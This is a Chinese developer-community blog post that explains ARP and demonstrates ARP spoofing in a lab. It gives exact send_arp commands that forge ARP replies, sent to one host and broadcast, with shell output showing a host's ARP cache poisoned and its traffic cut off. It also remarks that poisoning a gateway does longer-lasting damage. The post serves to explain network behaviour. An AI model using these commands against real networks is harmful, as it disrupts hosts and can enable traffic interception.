piranha's send_arp attack 2Layer Network-阿里云开发者社区

开发者社区> 开发与运维> 正文

piranha's send_arp attack 2Layer Network

简介:
在IPv4 中, ARP协议没有保护机制, 2层网络中的设备只要ARP协议包格式正确, 可以一随意发送ARP包. 例如伪装ARP地址.

以下截取一段PiggyXP的文章里的内容, 方便对ARP的了解.
1.ARP的工作原理
我们都知道以太网设备比如网卡都有自己全球唯一的MAC地址,它们是以MAC地址来传输以太网数据包的,但是它们却识别不了我们IP包中的IP地址,所以我们在以太网中进行IP通信的时候就需要一个协议来建立IP地址与MAC地址的对应关系,以使IP数据包能发到一个确定的地方去。这就是ARP(Address Resolution Protocol,地址解析协议)。
 
讲到此处,我们可以在命令行窗口中,输入
arp -a
来看一下效果,类似于这样的条目
210.118.45.100    00-0b-5f-e6-c5-d7    dynamic
就是我们电脑里存储的关于IP地址与MAC地址的对应关系,dynamic表示是临时存储在ARP缓存中的条目,过一段时间就会超时被删除(xp/2003系统是2分钟, Linux下默认是60秒, 由gc_stale_time内核参数控制)。
 
这样一来,比如我们的电脑要和一台机器比如210.118.45.1通信的时候,它会首先去检查arp缓存,查找是否有对应的arp条目,如果没有,它就会给这个以太网络发ARP请求包广播询问210.118.45.1的对应MAC地址,当然,网络中每台电脑都会收到这个请求包,但是它们发现210.118.45.1并非自己,就不会做出相应,而210.118.45.1就会给我们的电脑回复一个ARP应答包,告诉我们它的MAC地址是xx-xx-xx-xx-xx-xx,于是我们电脑的ARP缓存就会相应刷新,多了这么一条:
210.118.45.1   xx-xx-xx-xx-xx-xx   dynamic
 
为什么要有这么一个ARP缓存呢,试想一下如果没有缓存,我们每发一个IP包都要发个广播查询地址,岂不是又浪费带宽又浪费资源?
而且我们的网络设备是无法识别ARP包的真伪的,如果我们按照ARP的格式来发送数据包,只要信息有效计算机就会根据包中的内容做相应的反应.
 
试想一下,如果我们按照ARP响应包的相应的内容来刷新自己的ARP缓存中的列表,嘿嘿,那我们岂不是可以根据这点在没有安全防范的网络中玩些ARP包的小把戏了?在后面的文章里我就手把手来教你们如何填充发送ARP包,不过先别急,我们再继续学点基础知识^_^

2.ARP包的格式

既然我们要来做一个我们自己的ARP包,当然首先要学习一下ARP包的格式。
 从网络底层看来,一个ARP包是分为两个部分的,前面一个是物理帧头,后面一个才是ARP帧。
首先,物理帧头,它将存在于任何一个协议数据包的前面,我们称之为DLC Header,因为这个帧头是在数据链路层构造的,并且其主要内容为收发双方的物理地址,以便硬件设备识别。
piranhas send_arp attack 2Layer Network - 德哥@Digoal - The Heart,The World.
 我们可以看到需要我们填充的同样也只是MAC,IP,再加上一个1或2的操作码而已。

3.ARP包的填充
1) 请求包的填充:
比如我们的电脑MAC地址为 aa-aa-aa-aa-aa-aa,IP为 192.168.0.1
我们想要查询 192.168.0.99的MAC地址,应该怎么来做呢?
首先填充DLC Header,通过前面的学习我们知道,想要知道某个计算机对应的MAC地址是要给全网发送广播的,所以接收方MAC肯定是 ffffffffffff,发送方MAC当然是自己啦,于是我们的DLC Header就填充完成了,如图,加粗的是我们要手动输入的值(当然我编的程序比较智能,会根据你选择的ARP包类型帮你自动填入一些字段,你一用便知^_^)。
piranhas send_arp attack 2Layer Network - 德哥@Digoal - The Heart,The World.
接下来是ARP帧,请求包的操作码当然是 1,发送方的MAC以及IP当然填入我们自己的,然后要注意一下,这里的接收方IP填入我们要查询的那个IP地址,就是192.168.0.99了,而接收方MAC填入任意值就行,不起作用,于是,如图,
piranhas send_arp attack 2Layer Network - 德哥@Digoal - The Heart,The World.
 如果我们构造一个这样的包发送出去,如果 192.168.0.99存在且是活动的,我们马上就会收到一个192.168.0.99发来的一个响应包,我们可以查看一下我们的ARP缓存列表,是不是多了一项类似这样的条目:           
       192.168.0.99                  bb-bb-bb-bb-bb-bb
是不是很神奇呢?
我们再来看一下ARP响应包的构造
 
2) 响应包的填充
有了前面详细的解说,你肯定就能自己说出响应包的填充方法来了吧,所以我就不细说了,列两个表就好了
比如说给 192.168.0.99(MAC为 bb-bb-bb-bb-bb-bb)发一个ARP响应包,告诉它我们的MAC地址为 aa-aa-aa-aa-aa-aa,就是如此来填充各个字段
piranhas send_arp attack 2Layer Network - 德哥@Digoal - The Heart,The World.
 
接下来就进入主题了
1. send_arp是piranha包里的一个命令, 用来切换主备后广播宣告VIP对应的新的MAC地址. 本文利用send_arp来伪装ARP响应包, 制造ARP攻击.
未安装的话, 需要先安装以下piranha这个包.
[root@db-172-16-3-150 network-scripts]# which send_arp
/usr/sbin/send_arp
[root@db-172-16-3-150 network-scripts]# rpm -qf /usr/sbin/send_arp
piranha-0.8.4-24.el5

2. send_arp 的用法
[root@db-172-16-3-150 network-scripts]# send_arp --help
send_arp: sends out custom ARP packet. Yuri Volobuev '97
        usage: send_arp [-i dev] src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr
和man page有些不同, targ_ip_addr可以随意填写, 不影响测试结果.
例如我在172.16.3.150上通过send_arp发送一个伪装的ARP响应, 172.16.3.150的MAC地址是00:22:19:60:77:8F, 伪装命令如下:
send_arp -i eth0 172.16.3.40 00:1E:0B:4C:00:BA 0.0.0.0 00:1E:0B:4C:00:BE
以上这条命令是指在eth0接口上, 向00:1E:0B:4C:00:BE这个MAC地址发送一个arp 响应包(注意是响应包, 不是请求包). 
包的内容可以通过tcpdump截获, arp帧里面包含的发送方MAC, 发送方IP, 接收方MAC, 接收方IP分别是 : 
发送方MAC: 00:1E:0B:4C:00:BA
发送方IP: 172.16.3.40
接收方MAC: 00:1E:0B:4C:00:BA
接收方IP: 172.16.3.40
Opcode: 2
注意到arp帧的内容和主机IP地址被冲突时发出的内容是一致的. 就好像172.16.3.40这个主机被IP地址冲突时发出的ARP内容差不多, 只是MAC地址不一样.

DLC头信息中发送方和接收方MAC, EtherTYPE分别是 : 
发送方MAC: 00:1E:0B:4C:00:BA
接收方MAC: 00:1E:0B:4C:00:BE
EtherTYPE: 0x0806
如图 : 
piranhas send_arp attack 2Layer Network - 德哥@Digoal - The Heart,The World.

00:1E:0B:4C:00:BE 这台主机上如果已经有一条172.16.3.40的IP-MAC对应CACHE表, 这个表将被更新, 如果没有则不会响应这个包.

例子1 : 
完整的过程如下 : 
查看172.16.3.33的MAC地址
[root@db-172-16-3-33 ~]# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:1E:0B:4C:00:BE  
ping 172.16.3.40得到一条MAC-IP cache
[root@db-172-16-3-33 ~]# ping 172.16.3.40
PING 172.16.3.40 (172.16.3.40) 56(84) bytes of data.
64 bytes from 172.16.3.40: icmp_seq=1 ttl=64 time=1.28 ms
--- 172.16.3.40 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.283/1.283/1.283/0.000 ms
查看172.16.3.33主机上的 MAC-IP cache
[root@db-172-16-3-33 ~]# arp -a
? (172.16.3.1) at 00:00:5E:00:01:03 [ether] on eth0
? (172.16.3.40) at 00:22:19:60:F5:A8 [ether] on eth0
? (172.16.3.150) at 00:22:19:60:77:8F [ether] on eth0
在172.16.3.150上发送一条伪装ARP响应包给172.16.3.33
[root@db-172-16-3-150 network-scripts]# send_arp -i eth0 172.16.3.40 00:1E:0B:4C:00:BA 0.0.0.0 00:1E:0B:4C:00:BE
在172.16.3.33上查看172.16.3.40对应的MAC地址变了.
[root@db-172-16-3-33 ~]# arp -a
? (172.16.3.1) at 00:00:5E:00:01:03 [ether] on eth0
? (172.16.3.40) at 00:1E:0B:4C:00:BA [ether] on eth0
? (172.16.3.150) at 00:22:19:60:77:8F [ether] on eth0
再ping 172.16.3.40就不通了.
[root@db-172-16-3-33 ~]# ping 172.16.3.40
PING 172.16.3.40 (172.16.3.40) 56(84) bytes of data.
--- 172.16.3.40 ping statistics ---
4 packets transmitted, 0 received, 100% packet loss, time 3001ms
接下来把这条MAC-IP表删掉后再ping才能通, 或者等cache超时.

比较危险的情况是给网关发ARP伪装请求, 因为网关一般配置的mac-ip映射超时时间都比较长. 那么其他网段的IP将长时间不能访问这台被攻击的主机. 直到网关更新这条MAC-IP映射为正确的MAC-IP映射.

例子2 : 
把目标MAC改成ff:ff:ff:ff:ff:ff, 也就是广播这个ARP伪装包.
send_arp -i eth0 172.16.3.40 00:1E:0B:4C:00:BA 0.0.0.0 ff:ff:ff:ff:ff:ff
在172.16.3.150上抓包 : 
tcpdump -i eth0 arp -w arp.dump -s 2048

通过wireshark分析172.16.3.150上抓到的包如下: 除了DLC头的目标变了(ff:ff:ff:ff:ff:ff), 其他内容都一样.
piranhas send_arp attack 2Layer Network - 德哥@Digoal - The Heart,The World.
 
会发生什么呢?
因为是广播, 所以172.16.3.40也会接收到这个ARP包.  那么172.16.3.40会做出什么回应呢?
在CentOS 5.7的测试中, 172.16.3.40没有多这个包做出回应. 
arp 内核参数如下 :
net.ipv4.conf.eth0.arp_accept = 0
net.ipv4.conf.eth0.arp_ignore = 0
net.ipv4.conf.eth0.arp_announce = 0
net.ipv4.conf.eth0.arp_filter = 0
net.ipv4.conf.eth0.proxy_arp = 0
net.ipv4.conf.lo.arp_accept = 0
net.ipv4.conf.lo.arp_ignore = 0
net.ipv4.conf.lo.arp_announce = 0
net.ipv4.conf.lo.arp_filter = 0
net.ipv4.conf.lo.proxy_arp = 0
net.ipv4.conf.default.arp_accept = 0
net.ipv4.conf.default.arp_ignore = 0
net.ipv4.conf.default.arp_announce = 0
net.ipv4.conf.default.arp_filter = 0
net.ipv4.conf.default.proxy_arp = 0
net.ipv4.conf.all.arp_accept = 0
net.ipv4.conf.all.arp_ignore = 0
net.ipv4.conf.all.arp_announce = 0
net.ipv4.conf.all.arp_filter = 0
net.ipv4.conf.all.proxy_arp = 0

所以, 在发出send_arp -i eth0 172.16.3.40 00:1E:0B:4C:00:BA 0.0.0.0 ff:ff:ff:ff:ff:ff后, 这个广播域内的主机已经有172.16.3.40 MAC-IP映射的都不能PING通172.16.3.40了. 
没有172.16.3.40 MAC-IP映射的主机, 在ping时会发出who-is 172.16.3.40的arp请求, 172.16.3.40会回应这个请求给目标主机(注意这里不是广播), 所以这台机可以连通172.16.3.40.
但是网关上存储的MAC-IP表不会被更新, 网关上存储的MAC-IP表只有等172.16.3.40主动广播发arp响应包.

另外再说一下Linux ifup和ifconfig up的区别 : 
ifup eth0:1 首先会广播请求一下eth0:1配置的地址是否在网络中已经存在, 如不存在再起这个地址. 这可以防止IP配置错误和其他主机冲突. 如果没有冲突, 在IP起来后广播arp响应包, 宣告IP-MAC.

ifconfig eth0:1 $IP up 直接起IP, 不发出arp广播宣告IP-MAC.

【参考】
3. man send_arp

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

分享:
开发与运维
使用钉钉扫一扫加入圈子
+ 订阅

集结各类场景实战经验,助你开发运维畅行无忧

其他文章